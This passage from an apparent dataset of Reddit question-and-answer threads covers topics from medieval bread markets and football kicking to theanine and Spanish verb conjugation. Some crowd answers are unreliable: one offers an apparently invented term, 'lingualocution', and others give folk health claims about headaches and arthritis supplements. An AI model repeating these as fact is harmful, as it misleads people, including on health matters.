Swordsman*\n\n[I would additionally recommend watching videos by Scholagladiatoria on Youtube related to the topic.](_URL_0_)  \n\nUnfortunately there no surviving manual that covers war hammer usage (to my knowledge) but people like Matt Easton attempt to speculate on usage by examining historical accounts (particularly artwork) and applying knowledge of other, better documented, weapons of the time.  \n\nEdit: I should clarify that I am writing this under the assumption that the war hammer is a small weapon as described by Oakeshott (who is famous for his sword typologies, but doesn't dwell very much on war hammers).  I have seen people referring to a war hammer as a longer polearm with a hammer head, which Oakeshott would describe as a polehammer. ", "Hi there! Here's a response I gave to this question about a year ago. Super good and interesting question. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/user/scholagladiatoria/search?query=warhammers"], ["http://www.reddit.com/r/AskHistorians/comments/1pl35a/how_popular_were_war_hammers_during_the_medieval/cd3k8tw"]]}
{"q_id": "a9gemi", "title": "how do people feel financially secure and wealthy with stock investment if they don't have any feasible money until the stock is sold, if it ever is?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a9gemi/eli5_how_do_people_feel_financially_secure_and/", "answers": {"a_id": ["ecj1gnm", "ecj3s24", "ecjt0j6"], "score": [9, 8, 2], "text": ["Because the stock is relatively liquid, i.e. it can be sold any day the stock market is open. Also, the value of the stock can be tracked easily by checking the market quotes. Although there is downside risk, long term investment in (good) stocks is almost always more lucrative than leaving it in cash, which is subject to inflation (you can buy less with $10,000 today than you could just a few years ago).", "Stocks are ownership shares in companies. Companies have earnings, many pay a piece of those earnings as dividends. It's the same as being a partner in a business. If the business makes more money you get a bigger payout, and the value of your share goes up as the business grows. ", "The same reason people feel secure with money, even though money has no intrinsic value: society is stable enough (and most major companies are stable enough) that a sudden collapse is very unlikely."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4lgywh", "title": "why do adults get headaches more frequently and severely than children?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lgywh/eli5_why_do_adults_get_headaches_more_frequently/", "answers": {"a_id": ["d3nedhf", "d3oxs6v"], "score": [6, 2], "text": ["They don't, actually. The most severe type of headache is a migraine, and children suffer migraines more frequently than adults, but their symptoms may differ, leading to parents not understanding what is happening or attributing their symptoms to something else. How children respond to headaches also leads to parents often not understanding that it is a headache causing the problem, especially in young children who don't know how to adequately describe their pain. For example: A parent sees their child withdraw from play or wanting to sleep more, and they understand their child isn't feeling well, but they often don't know that it's a headache and not, say, allergies or a cold or the flu. Children whose parents (one or both) get migraines are more vulnerable to them than children of parents who've never had one.  ", "Non-migraines, aka your \"typical\" headache are mostly (not always) due to dehydration.\n\nInstead of popping Tylenol, chug a big glass of water first. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1miff7", "title": "When and why did the general population (of developed countries) stop carrying knives?", "selftext": "Historical fiction and fantasy are full of references to belt knives. I think there's references to people carrying knives in The Canterbury Tales. I carry a pocket knife, but the majority of my aquaintances don't. When did it change? Or is the idea of the general population keeping a knife with them a fiction?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1miff7/when_and_why_did_the_general_population_of/", "answers": {"a_id": ["cc9xttz"], "score": [6], "text": ["It's no fiction. Knives are tools. Up until the last century, it was extremely common for men of Crete to wear knives everywhere. This only changed when it became illegal in I think the 60s, but you can still see old men with their knives often. It is just such a tradition that spawned the (now entirely tourist-based) Cretan Knife industry (can't provide a link on my phone, but a search for Cretan Knives will show you). I could only speculate on the rest of the world, so I won't, but I hope this helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cqr0i1", "title": "why can we not use dehumidifiers to produce water for human consumption?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cqr0i1/eli5_why_can_we_not_use_dehumidifiers_to_produce/", "answers": {"a_id": ["ewyi7xp", "ewyjmhf", "ewykm1q", "ewykxju", "ewyl0fv"], "score": [7, 3, 2, 2, 4], "text": ["We have tons of ways to produce filtered water for human consumption. Tons.  The problem is most of them are really inefficient or expensive compared to cheap sources, like using natural sources, such as ground water, rivers, etc.\n\nYou generally would only use more complicate and expensive methods such as desalinization (converting sea water to fresh) when thats you're only option.", "It is a very energy efficient way to produce water. The efficiency depend on the amount of moisture in the air  the more moisture in the air the less energy needed. So it require the most energy in dryer areas where you would need it the most.\n\nAnother problem is the water you collect contain dust and bacteria that exist in the air so it is not cleen and you would need to treat it.\n\nPurifying sweat water that exist or removing salt from seawater a lot cheaper options. You could transport water in truck for hundred of miles for less energy than is needed to extract it from the air so it is just a bad and expensive way to get clean water.", "Air dehumidifiers requires a lot of power to run and does not produce much water. Lack of drinkable water also tends to correspond to low humidity levels so a dehumidifier would not work as there is no water in the air to extract. The most efficient way we have of getting drinkable water is through distillation where you boil water and then condense it like in a dehumidifier. And even the biggest nuclear powered aircraft carriers can only produce about 1.5 million liters of water a day which is not enough water for a city.", "In addition to the reasons other posters specified, dehumidifiers often have issues with mold (bad for human consumption) airborne contaminants, and trace amounts heavy metals like copper and zinc from dehumidifier components which PROBABLY won't be harmful, but you can do without. There's also the potential for trace amounts of lead from lead soldered components to leech into the water", "Water takes a lot of energy to vaporize. Conversely, if you want to run the process the other way around to condense water into a liquid, you need to get rid of a whole lot of energy.\n\nSimply put, there isn't a cost-effective method of making that happen. You can trap morning dew with giant tarps and such, but those rely on ambient environment and trying to recreate that actively soaks up so much power that it's not worth it, especially given the amount of air that needs to be processed to produce a usable amount of water.\n\n[This guy](_URL_0_) has debunked a few of these water-producers if you're interested in spending some time on the topic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.youtube.com/watch?v=wNHcIYyYDhU"]]}
{"q_id": "dfu3io", "title": "why is it that we see more cases of genetic mutations of animals (e.g two headed turtles) then in humans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dfu3io/eli5_why_is_it_that_we_see_more_cases_of_genetic/", "answers": {"a_id": ["f35tf0l", "f35tk49", "f35ukog"], "score": [3, 2, 3], "text": ["Often you can see mutations in the womb via ultrasounds and as humans we have the medical options to either avoid it or to decide on an abortion if wanted", "Probably a mixture of living in environments that don't foster such mutations, and killing those individuals that have the mutations before they're born", "This is just confirmation bias. Just about every living organism is going to have several mutations that make them different, so the only thing that could account for noticing animals with weird mutations is that humans reproduce less frequently than most other animals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "373y9t", "title": "what events took place and what kind of things existed 340,282,366,920,938,463,374,607,431,768,211,456 years ago?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/373y9t/eli5_what_events_took_place_and_what_kind_of/", "answers": {"a_id": ["crjh71l"], "score": [5], "text": ["That was several orders of magnitude of years before the universe (and thus time) began. The answer is \"nothing\", but it's a little deeper than that. At that point, the concepts of \"things\", \"happening\", and \"concepts\" didn't exist in any meaningful way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a18nwp", "title": "what is the sensation called when you think someone is speaking a foreign language and suddenly start recognizing it as your own? why does this happen?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a18nwp/eli5_what_is_the_sensation_called_when_you_think/", "answers": {"a_id": ["eantu9v"], "score": [11], "text": ["It's called lingualocution and it happens frequently to people who speak more than two languages fluently.\n \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2aj66l", "title": "can surgery or any other type of methods help reverse joint damage from gained from arthritis ?", "selftext": "I sometimes had swelling in my joints during my college years, but it would come and go and didn't care much for it.  One year the swelling become unbearable as that part of my body would feel \"heavy\". I began to lose movement in my fingers. I met with a rheumatologist got some x-rays taken and saw that there were a lot of damage in my bones I no longer have full movement in my fingers. I'm currently taking Biologics injectables which helps with the swelling in the pain. \n\nSo far the pain is manageable but with every check up and every new doctor that I meet have told me that the damage is irreversible. I was wondering if anyone out there has or had any type of treatment that help them regain back some natural movements I their damaged joints.\n  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2aj66l/eli5_can_surgery_or_any_other_type_of_methods/", "answers": {"a_id": ["civnxrd"], "score": [2], "text": ["Get a good rheumatologist. I am 70 yrs old and was diagnosed about 10 years ago. I had a lot of pain for about 10 yrs before that, but no doctor suggested RA. I also take the injections. Also Taking cinnamon and L-Glutamine Seems to help a great deal. L-Gluamine is helpful in the rebuilding of the cartilage in the joints and cinnamon is a good non drug anti-inflammatory.  \nI am fortunate in that I have almost\nfull use of my hands, but my knees and hips are affected. Aside from the usual flare ups, I'm very grateful for the mobility that I enjoy. I would very strongly advise you to find the best rheumatologist you can find in your area. I am in the central coast area of California. I would be happy to recommend my Doc if you're in this area. I can still walk, but for limited distances and it's been suggested that I consider having knee replacement surgery. Holding off as long as I can."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "94tx41", "title": "how come american football kickers can 70+ yards on kickoff but only around 50 yards on a field goal. the holder can\u2019t make that much of a difference can it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/94tx41/eli5_how_come_american_football_kickers_can_70/", "answers": {"a_id": ["e3np3yu", "e3np40b", "e3npaih", "e3npbkl", "e3nqyfr", "e3nrwhs", "e3ntzk7", "e3nuksx", "e3o4k16", "e3o6a61", "e3o7lxz", "e3o83nq", "e3o9qk4", "e3oa5x8", "e3oae8z", "e3od81f", "e3of29p", "e3oivkn", "e3ouqd1", "e3p4avc"], "score": [15, 67, 12, 11, 514, 310, 143, 6247, 2, 31, 7, 432, 3, 8, 2, 4, 2, 2, 2, 3], "text": ["The difference is on a kickoff they just kick it straight. When they kick a field goal you need to go over the defense as well. It\u2019s a much higher angle to kick.", "They get more of a running start on kickoffs. On a field goal, they don\u2019t have time for a long running start because defenders are attempting to block the kick. ", "A field goal also needs to be much more accurate. On kickoff you're just kicking it down field. ", "Combination of both the first two answers. And even then not always perfect accuracy or you'd see more free kick field goal attempts. ", "Some kickers could make 70 yard field goals if they were unopposed. They have to angle the ball straighter with a lower trajectory towards the goalpost as opposed to arcing it, which would get batted down by a defender. In pregame warmups and practices you can see kickers hitting pretty far fieldgoals that wouldn\u2019t be feasible in an actual game ", "Also field goals don't count if you go under, so we count the distance that the football is 10ft off the ground for field goals, where kickoff we count the distance it hits the ground. Depending on the angle that could be 5 yards of difference.", "The fact that there is a defense on a field goal is the reason.  You have to kick it higher initially to get over all the people trying to block it, and that drastically cuts down on distance.  \n\nIf there was no one trying to block field goals most NFL kickers could kick 70 yarders fairly regularly.  They do stuff like that in practice all the time.", "I'm a free agent kicker/punter and coach. There are two major differences between kickoffs and field goals:\n\n*I'm only going to compare this at a college/pro level in order to keep this short.*\n\n1) Approach speed: kickers are moving faster when they make contact with the ball during a kickoff than they are during a field goal. It's not as big of a difference as it appears though. There's a fine line between ideal and too much speed. Too fast and your kicking leg won't be able to catch up and get locked out on ball contact. This is the main reason a lot of younger kickers actually hit a longer ball using a field goal approach vs a kickoff approach. \n\n2) Tees: 1\" tees are allowed for kickoffs, whereas field goals must be kicked off the ground. You can hit a longer, higher ball with a tee, all else being equal. \n\nNo other reason should make a noticeable difference. Accuracy on field goals changes nothing with a kicker's technique. Kickoffs and field goals should all be hit the same exact way through ball contact. \n\n[75 yard FG full speed and slo-mo] (_URL_1_)\n\n[80+ yard KO full speed and slo-mo] (_URL_0_)\n\nIf you'd like me to expand on anything I will!", "There's more to it, but the simple answer is this:\n\n\nWhen kicking a 50 yard field goal, they have to sacrifice power for accuracy in order to fit it into a scoring area of just 18.5 feet.\n\n\nOn a 70 yard kickoff, the kicker gets a running start, the ball is teed up off the ground, and he can boot the shit out of it because he has a 160 ft wide field to work with.", "All the rest is true, but also remember that a kickoff ends at the point it is fielded (caught) by a player *on the ground*, while a field goal must clear a crossbar that is a little more than (edit: removed \u201c8\u201d) 10 feet off the ground. ", "Don't forget the height of the bar it needs to go over. Examine two kicks with the exact samt parabolic arc. It might end up touching the ground at 70 yards (good kickoff) , but it is above the crossbar only at a distance of 55 yards (max distance to make the field goal with that particular kick). ", "Former college kicker here.\n\nWhen I kicked off and had unlimited steps at whatever speed I wanted. And I was using a 2\u201d tee \n\nWhen I tried a field goal, I had 2 steps and a bunch of people trying really hard to get to me and mess up what I was doing. \n\nLongest kickoff: 67 yards\nLongest field goal: 52 yards ", "Kickoffs are just about getting it down range. While field goals need to go ina specific place. So you can put more power into a kick off. Since you just need to hit the field.", "I love reddit.  People get into the most interesting discussions.   This one fasinating for some strange reason. \n\nHuge football fan here", "Kickoffs don't have to reach over a middle bar 10 feet up, and don't have to be contained within a 18-foot-wide space.", "This isn't really a physics thing. It has to do with the rules of the game.\n\nA field goal actually has to make it 10 feet off the ground to count (the bottom crossbar of a field goal post). That's where the extra difference goes. A kickoff/punt can hit the ground, bounce and the extra distance will still count. The holders/tees have nothing to do with it.\n\nIf a kicker makes a 50yd field goal, the ball would keep going if it weren't for field goal nets, thus potentially picking up another ~20yds to make it the same thing as a free kick.", "Thanks for enormous amount of answers. Reddit is a great place. Feelsgoodman", "Lol, they kick goals from 60+ metres  with a bigger, heavier ball on the run in Australian footy.", "Let\u2019s be the first reddit group to get this guy on an NFL team. He clearly has the chops kicking 75 yard field goals ", "The importance of the holder is always dismissed. In a FG attempt the kicker will indicate exactly where on the ground he wants the ball placed. Think if a golfer placing his tee. The kicker then takes precise steps backwards from that location. The kicker approaches the kick once the ball is snapped. From the time the ball leaves the long snappers hand, to the time the ball is kicked, needs to be less than 1.3 seconds or it will be blocked on a professional level. The ball takes about .2 seconds to reach the holder and about .3 seconds to be placed on the ground. All this is down as the kicker is approaching. Once the ball is down, the kicker is kicking the ball in about .7 seconds.  \nThe kicker sees the ball on his spot for less than 1 second.  \nHere is why the holder is so important. Think if a golfer lining up a tee shot. When he's in his back swing, move the tee forward 2 inches. How do you think that shot is going to go? The same theory applies to placekicking. If a holder puts the ball down inches away from where it was expected to be, the kicker has fractions of a second to make that adjustment. Placekicking is very precise. A plant foot placed 2 inches from the ideal location will always result in a Miss. For the casual viewer, it looks like the ball was properly placed and the miss is on the kicker, but that is not always the case. If the holder missed the spot by more than inch, he's largely responsible for the miss. A good holder will hit that target spot quickly and give the kicker maximum time to focus on the ball before the kick. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://streamable.com/fb0nl", "https://streamable.com/xm1z0"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "fxv28t", "title": "If you bought two loafs of bread in a medieval market, would they just be handed to you, or will you recive some sort of sack or bag?", "selftext": "Very weird question I know, but I think this is the only place on the internet where I might get some answers.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fxv28t/if_you_bought_two_loafs_of_bread_in_a_medieval/", "answers": {"a_id": ["fmypmb7", "fmxzjwd"], "score": [2137, 560], "text": ["So while there *were* sizeable urban populations throughout the medieval period - Paris, London, Chester etc. - the overwhelming majority of the European population lived in an agrarian, rural context in which the village, rather than the town, was the predominant settlement. That doesn't mean that you weren't familiar with town - indeed in England you're rarely more than 20-30 miles away from a market town - but that your main centres of food production were not necessarily urban. While baking was absolutely not usually carried out at home apart from kitchens of the wealthy, it doesn't necessarily mean that people were travelling to the nearest town for their daily bread. Indeed, most town markets were held on a weekly basis and the right to hold a market was actually tightly controlled by royal charter and could frequently be the cause of significant legal squabbles. In the vast majority of cases, especially within the context of a village, baking would be carried out in communal ovens. \n\nTypically, villagers would pay a miller to grind their flour, which they would either then use to make a dough at home and take to the communal oven, or pay a baker to make into dough and then cook for them. The baker, if there was one, was the individual responsible primarily for the operation of the oven itself, rather than necessarily how we might understand a modern baker, who sources flour, prepares bread and then hopes to sell it all. Bakers *would* have mass-baked bread and then distributed it, but this would have been to pre-existing customers who had previously supplied the flour.\n\nGiven that a fee was typically charged for the use of both the mill and the oven, baking could be somewhat lucrative. In France in particular, 'seignorial' ovens were popular (to the extent that private ovens could be banned, thus making the population reliant on the local lord) as a money-spinner, which could be doubly lucrative if the lord also owned the local mill. Even in an urban context, it's likely that you would purchase flour and then approach a baker rather than hope the market would have a baker with bread to spare.\n\n\nWhere we do have archaeological evidence for the mass production of bread it's often in a military context - the Anglo-Saxon *burhs* of Wallingford, Eddisbury and Stafford all have extant bread ovens. Stafford in particular appears to have been a major bakery centre, with ovens for both bread loaves and bannocks, but then Stafford also functioned as a logistical hub to supply disparate Mercian garrisons in remote locations where the local populations would have been unable to sustain them. Stafford was also a major productive site for pottery and butchery. The butchered meat was most likely salted or cured and then distributed in ceramic jars, and it's possible the bread was similarly stored. \n\nUnfortunately other, likely, storage solutions such as wicker work or cloths don't leave many archaeological traces and are rarely mentioned in literary contexts. We do have references to wickerwork baskets and panniers, worn either on the head or the back, and they also sometimes show up in illuminations and illustrations such as seen [here](_URL_3_).  Indeed [this 14th century illuminated gospel manuscript](_URL_0_) and [this 15th century illustration of a bakery](_URL_1_) show loaves of bread in wicker baskets and a baker placing a finished loaf in a man's sack respectively. [This 16th Century market scene](_URL_4_) by Joachim Beuckelaer similarly depicts wares being carried mostly in wicker baskets. [This 13th century martyrology](_URL_2_) also shows produce - in this case what appear to be root vegetables - being harvested and carried in back-panniers.\n\nSo, to bring this ramble to a vague conclusion, as a medieval market-visiter, you might be hard-pressed to find somebody selling you loaves of bread in the first place, but if you did, they'd probably expect you to have your own basket or panniers to carry it away in.", "Follow-up question: I can imagine people were expected to bring a basket for something like bread or fruit, but what about messy stuff like meat or honey?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bl.uk/manuscripts/Viewer.aspx?ref=yates_thompson_ms_13_f102r", "http://expositions.bnf.fr/gastro/grands/003.htm", "http://visualiseur.bnf.fr/ConsulterElementNum?O=IFN-08100504&amp;E=JPEG&amp;Deb=10&amp;Fin=10&amp;Param=C", "https://www.joh.cam.ac.uk/library/special_collections/manuscripts/medieval_manuscripts/medman/A/Web%20images/D24f23r.htm", "https://www.wga.hu/support/viewer/z.html"], []]}
{"q_id": "3rw4fz", "title": "Why is caffeine synergistic with l-theanine?", "selftext": "If l-theanine is an agonist for glutamate, an excitatory neurotransmitter, then how does it reduce the \"jitters\" of caffeine?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3rw4fz/why_is_caffeine_synergistic_with_ltheanine/", "answers": {"a_id": ["cwstuqi"], "score": [2], "text": [" >  If l-theanine is an agonist for glutamate\n\nThis simply isn't true. Theanine is similar to glutamate but it is generally not an agonist. It has a very low binding affinity, compared to glutamate, and is an **antagonist** for glutamate receptors; including AMPA, kainite, and NMDA receptors. And again, althought it can bind and subsequently block glutamate recpetors, the binding affinity is **extremely low**, especially for NMDA. [Read here for more details, PDF.](_URL_0_)\n\nThus, theanine is competing a little bit with glutamate to find receptors. If theanine wins, the receptor is blocked and nothing happens. \n\nHow it reduces jitters (is there even evidence for this?) I am not sure. If it is blocking excitation in general it could be blocking jitters but the brain is not that simple. Plenty of excitatory neurons are activating inhibitory systems. \n\n\nEdit: formatting and clarity \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.jstage.jst.go.jp/article/bpb/25/12/25_12_1513/_pdf"]]}
{"q_id": "1igu56", "title": "how did trey parker and matt stone convince comedy central to let them use the word \"shit,\" uncensored, 162 times in the episode \"it hits the fan\"?", "selftext": "And what, if anything, did the FCC have to do with this decision?\n\n**EDIT:** Just in case some people don't watch the show, I'm referring to the TV series *South Park.*", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1igu56/eli5_how_did_trey_parker_and_matt_stone_convince/", "answers": {"a_id": ["cb4buej", "cb4c934", "cb4e637", "cb4esbd", "cb4f5cg", "cb4fx24", "cb4j1eg", "cb4l8az", "cb4lqa7"], "score": [333, 124, 2, 8, 12, 7, 5, 3, 2], "text": ["FCC has nothing to do with cable. It's only the main networks: ABC, NBC, CBS and FOX. Most cable channels do not air vulgar things out of fear of advertisers, not any legal restriction. Comedy Central's advertisers go in knowing what to expect from the network and apparently don't care because CC uses swear words and vulgarity regularly. ", "First, the FCC has no authority over cable...cable networks censor themselves to keep their sponsors happy.\n\nCertain networks have gotten more permissive, and allow mild swearing and even unchecked profanity.  Comedy Central enacted a policy that allow some shows to use \"shit\" in certain contexts...specifically, it could be used to refer to something being worthless or unpleasant (\"I had a shitty day\") but not to refer to excrement or defecation (\"I need to take a shit\").  They also told *South Park* the could use it a certain number of times over the course of the season.  Being smartasses, they decided to blow their entire season's allotment in a single episode.", "\"shit\" isn't usually censored on cable. Watch any show on FX", "From the aisha Tyler ama I believe she said that they allow them unlimited \"shit\"s but only one \"fuck\" per episode of archer. Maybe it's similar.", "This sub is turning more and more into /r/answers. I don't know if this sub was linked in an /r/askreddit thread or something, but these kinds of questions definitely don't belong. Mods, I think it's time for another crackdown.", "As an aside: Trey and Matt say in the South Park documentary they received exactly zero complaints about the episode from sponsors.  They said, based on that, they could probably use the word whenever in future episodes, except of course for the fact that, due to the plot of that episode, they can't use it again.", "As I remember, the story went like this: Another show on a major network was going to say 'shit' during prime time. (I think it was some crime drama, probably csi: who the fuck cares). It turned out to be something dumb, like somebody saying 'shit happens' at the very end of the episode, really quite a letdown.\nThe southpark producers then asked their own network if they could do the same and got the greenlight. In true southpark fashion, they never mentioned that they were going to say it a LOT until the episode was ready to air. (I don't think 162 had any significance - it just happened to add up that way.)\n\nBottom line: like most southpark plots, it was a response to something that happened in real life, and they sneaked it past the network by keeping them on a need to know basis. (They probably would have said yes anyway)   \n\n\nEdit: [reference](_URL_0_)\nThe wiki tells it a little different than I remember. Their references are a little doubtful, so I'm not sure who is right. \n", "Most people don't know that Matt  &  Trey provide mini-commentaries to ALL their episodes on DVD.  Most of them are on youtube.\n\n[It Hits the Fan | Commentary](_URL_0_)\n\nAt first Comedy Central refused, then they came back and said: what about we say shit 200 times? ", "I don't get why American TV is so sensitive about swearing. Here in Europe, as soon as it turns 9 o'clock anything goes :D"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://en.wikipedia.org/wiki/It_Hits_the_Fan#Production"], ["http://www.youtube.com/watch?v=tCwycCjgRCs"], []]}
{"q_id": "2qlenv", "title": "Wall Street and Hitler / USSR - What's the Scholarly Opinion of Anthony Sutton, if Any?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2qlenv/wall_street_and_hitler_ussr_whats_the_scholarly/", "answers": {"a_id": ["cnzv1d3"], "score": [2], "text": ["I'm sorry for the non-answer but I was about to ask the same question as I'm super interested in this as well. Is he a crackpot? He espouses such a radical viewpoint and the lack of opinion on him is seriously difficult for me to understand."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1b8q9k", "title": "the self fulfilling prophecy?", "selftext": "Is it just a form of coincidence of does believing in something make it happen?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1b8q9k/eli5_the_self_fulfilling_prophecy/", "answers": {"a_id": ["c94mk4i", "c94ncgo", "c94ncy1"], "score": [7, 2, 3], "text": ["A self-fulfilling prophecy is the following: I want to get into shape, but I'll probably fail, so I'm not going to try very hard, oh look I failed.\n\nA self fulfilling prophecy isn't coincidence or belief manifestation it's acting as though something will happen which makes it happen.", "There's a good example from the movie Sneakers.\n\nPosit: People think a bank might be financially shaky.\n\nConsequence: People start to withdraw their money.\n\nResult: Pretty soon it is financially shaky.\n", "Our expectations can effect results, or at least our interpretation of them.  That is, if we expect something to happen in a certain way then then we subconsciously influence to happen in that way.    That is why medical research is done using \"double-blind\" experiments where there is a experimental group given a treatment and a control group giving a placebo and neither the participants nor the people conducting the experiment know which is which until it is concluded.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3ygcgo", "title": "why do some female smokers develop a deep smoker's voice while others still have maintain a \"normal\" voice.", "selftext": "I know a girl a work who smokes like a chimney, and has for years, but doesn't have that deep and raspy voice associated with smoking. What's allowing her voice to do that?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ygcgo/eli5_why_do_some_female_smokers_develop_a_deep/", "answers": {"a_id": ["cydakfl", "cydcotp", "cydieym"], "score": [49, 10, 3], "text": ["I can't speak for all female smokers, but I developed a deep smoky voice a few years ago. It started with a throat infection after a cold. I continued smoking (and partying, I was quite depressed ) even though my voice hadn't recovered.  A few months later my voice was still quite raspy and I went to the doc. He said that I need to quit smoking, yelling or even talking. I had developed blisters on my vocal chords and if I didn't change something now, they could turn into scars. The scarring could forever change the vibrations in my vocal chords (and therefor, voice). I took it easy for a long while and my voice some what recovered.  I imagine if you are a long time smoker but don't stress your vocal chords,  you could go a long time without a noticeable change in pitch.\n\nEdit: typos", "I read an article on this exact subject not too long ago! Sorry I don't have a source but...\nA HUGE part of it is genes. Some people have genes that make them incredibly immune to smoking effects compared to other people.", "This goes for men too. My brothers voice changed drastically after he had been smoking a couple years. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "25vh4u", "title": "what chemicals cause an orgasm? could we inject them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25vh4u/eli5what_chemicals_cause_an_orgasm_could_we/", "answers": {"a_id": ["chl3p3u", "chl3q8x", "chl5f3a"], "score": [2, 6, 2], "text": ["Dopamine, and bad idea. The dopamine isn't being released into the blood, it is being released into the brain. So if you wanted to apply the dopamine directly to the receptors, you would need to drill in a hole into the brain to do it. ", "Why do you think chemicals are causing orgasms? Orgasms are producing chemicals (like dopamine). We can imitate/cause orgasms by electrical simulation. ", "Orgasms are not caused by chemicals, but instead produce chemicals, which is what makes them feel good. The main two chemicals released are oxytocin and dopamine, the latter of which is one of the main \"feel good\" chemicals your body produces. You cannot inject them into your blood stream because the chemicals are actually in your brain, and there is a very selective membrane around the brain called the blood-brain barrier, which (for the most part) separates regular circulating blood from the brain. However, certain drugs, mostly under the umbrella of stimulants, are capable of increasing the amount of dopamine levels in your brain (it's not really that simple but the end result is pretty much the same as having extra dopamine floating around). An example of this is Adderall. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1q07pe", "title": "spanish preterite tense \"pret\u00e9rito\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1q07pe/eli5_spanish_preterite_tense_pret\u00e9rito/", "answers": {"a_id": ["cd7u69j", "cd7uyf2", "cd7vc5u"], "score": [2, 3, 3], "text": ["just like the aorist in ancient greek", "Okay. So basics first. \n\n-ar verbs:\n\nYo -\u00e9                \n\nTu -aste\n\n\u00e9l/ella/usted -\u00f3\n\nNosotros -amos (same as present)\n\nellos/ellas -aron\n\n----------\n\nThen for -er and -ir verbs,\n\n-\u00ed    \n\n-iste\n\n-i\u00f3\n\n-imos\n\n-ieron\n\n----------\n\nNow, irregular verbs are ir/ser, estar, tener, poner, venir, conducer, decir, traer, querer, saber and then some stem changing. Important: stem changes only occur in third person and third person plural, and stem changes only change one letter: e - >  i, o - >  u. Like, in dormir:\n\nYo dorm\u00ed\n\nTu dormiste\n\n\u00c9l durmi\u00f3 (note o only goes to u, not ue)\n\nNosotros dormimos\n\nEllos durmieron\n\n----------\n\nSo now irregulars. \n\nIr and ser are the same verb in preterite. \n\nYo fui\n\nTu fuiste\n\n\u00c9l fue\n\nNosotros fuimos\n\nEllos fueron\n\n----------\n\nIn estar, the est- root changes to estuv-. Also, the endings mix up a little. \n\nSo yo estuve (like ar)\n\nTu estuviste (like er)\n\n\u00c9l estuvo (ar)\n\nNosotros estuvimos (er)\n\nEllos estuvieron (er)\n\n----------\n\nTener's endings behave the same way. The root changes to tuv-.\n\nPoner -- >  pus\n\nVenir -- >  vin\n\nConducer -- >  conduj\n\nDecir -- >  dij\n\nTraer -- >  traj\n\nQuerer -- >  quis\n\nSaber -- >  sup\n\nHacer -- >  hic (becomes hizo for third person)\n\n----------\n\n\nOne last irregular: dar. It behaves like it's an -er verb. \nYo d\u00ed, tu diste, etc. \n\nOh, and haber becomes hubo. \n\n----------\n\nOne last thing to address grammatically:\n\nVerbs ending in -gar, -zar, or -car change spelling in first person for pronunciation purposes. \n\n-gar becomes -gue (llegar -- >  yo llegue)\n\n-zar becomes -ce (empezar -- >  yo empec\u00e9)\n\n-car becomes -que (buscar -- >  yo busque)\n\nThis is present in other tenses as well- it's for pronunciation. Watch out for putting z's next to e's, g's next to e's, and c's next to e's when you're conjugating. \n\n----------\n\nSorry for any formatting issues, I'm on my phone. Correct anything I left out, guys! I'll make a second post for usage. \n", "Now for usage!\n\nThere are two kinds of past tense in Spanish, preterite and imperfect. Basically, the key difference is that  with preterite, it's an action that's already been completed and only happened once.  Imperfect is a way of saying that something was happening in the past. Preterite says that something happened. \n\n----------\n\nFor example:\n\nPreterite: Ella me **dijo** que...\n\nShe **told** me that...\n\nversus imperfect: Ella me dec\u00eda que...\nShe **was telling me** that...(presumably while something else was going on.)\n\nImperfect is like past progressive.  \"She was cooking dinner (when...)\" as opposed to preterite, plain past tense. \"She cooked dinner.\"\n\n---------\n\nAnother difference is happened many times vs happened one time. Imperfect would be used in such cases as \"We went to church every Sunday.\" Preterite would denote that you only went to church one particular Sunday. 